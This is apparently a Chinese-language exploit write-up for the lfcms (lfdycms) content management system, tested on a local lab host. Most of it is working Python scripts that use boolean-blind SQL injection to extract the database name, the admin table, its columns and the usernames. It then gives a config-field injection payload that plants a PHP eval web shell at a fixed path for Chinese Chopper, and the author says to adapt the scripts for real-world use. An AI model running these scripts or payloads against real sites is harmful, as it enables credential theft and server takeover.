今日复现cms漏洞的时候看上了之前未能解决的lfcms,上网搜索exp后陷入沉思...
前台SQL注入的exp只有获取数据库名的,也就是整套流程还需要自己改造,并且SQL注入完成后希望getshell,于是有了这篇文章
首先改造了一下获取数据库名的exp(其实是无所谓的)
这里需要注意几点
1.传递给id的参数必须是个负数,原因显然意见。因为我们是or语句,一旦前面的id=1就导致整个语句永远为真,以至于我们无法在通过页面的回显来判断是否正确。
2.在后续的exp中需要修改limit 0,1 为 1,1 直到出现满意的结果为止(这个地方的处理我还没有修改好,所以算是半自动脚本了,回来再研究一下...)
3.try后面的: if ‘test‘ in html.text
:的“test”是因为我的资讯页面的标题就是test
这里面是布尔盲注产生的原理,放两张图:
*正确则返回含有test内容的资讯,错误则返回未找到该文章
所以实际条件请使用实际的页面内容,没有资讯去管理页面添加一下:
获取数据库名:
import requests
url = ‘http://192.168.72.130:8070/index.php/Home/News/index/?id[alias]=where id=-1 ‘
result = ‘‘
for i in range(1,50):
print(‘-----------------------------‘)
for j in range(32,127):
payload = "or(select ascii(substr(database(),{},1))={}) ".format(i,j)
temp = url+payload
try:
html = requests.get(temp,timeout=10)
if ‘test‘ in html.text:
result+=chr(j)
print(result)
break
except:
print(‘[-]error‘)
获取表名:这里存储管理员的表为 lf_member
limit 11,1
import requests
url = ‘http://192.168.72.130:8070/index.php/Home/News/index/?id[alias]=where id=-1 ‘
result = ‘‘
for i in range(1,50):
print(‘-----------------------------‘)
for j in range(32,127):
payload = "or(select ascii(substr(table_name,{},1)) from information_schema.tables where table_schema=‘lfdycms‘ limit 0,1) ={} ".format(i,j)
temp = url+payload
try:
html = requests.get(temp,timeout=10)
if ‘test‘ in html.text:
result+=chr(j)
print(result)
break
except:
print(‘[-]error‘)
获取列名:
import requests
url = ‘http://192.168.72.130:8070/index.php/Home/News/index/?id[alias]=where id=-1 ‘
result = ‘‘
for i in range(1,50):
print(‘-----------------------------‘)
for j in range(32,127):
payload = "or(select ascii(substr(column_name,{},1)) from information_schema.columns where table_name=‘lf_member‘ limit 0,1) ={} ".format(i,j)
temp = url+payload
try:
html = requests.get(temp,timeout=10)
if ‘test‘ in html.text:
result+=chr(j)
print(result)
break
except:
print(‘[-]error‘)
获取字段:
import requests
url = ‘http://192.168.72.130:8070/index.php/Home/News/index/?id[alias]=where id=-1 ‘
result = ‘‘
for i in range(1,50):
print(‘-----------------------------‘)
for j in range(32,127):
payload = "or(select ascii(substr(username,{},1)) from lfdycms.lf_member limit 0,1) ={} ".format(i,j)
temp = url+payload
try:
html = requests.get(temp,timeout=10)
if ‘test‘ in html.text:
result+=chr(j)
print(result)
break
except:
print(‘[-]error‘)
以上就是前台SQL注入利用的exp了
实战时候按照具体的名字一步一步的修改exp的payload部分就行
下面进行后台getshell
入口:index.php?s=admin
来到配置这里:
抓包,然后提交
搜索参数:user_sign_2
内容修改为:
%0a@eval($_POST[a]);//
(%0a换行逃逸注释,// 把后面的内容注释掉)
拿菜刀连接:
Application/Runtime/Temp/95a1fe934b68ebfee8468bf0bc4f0000.php
(后面这个是固定的,是DB_CONFIG_DATA的MD5值)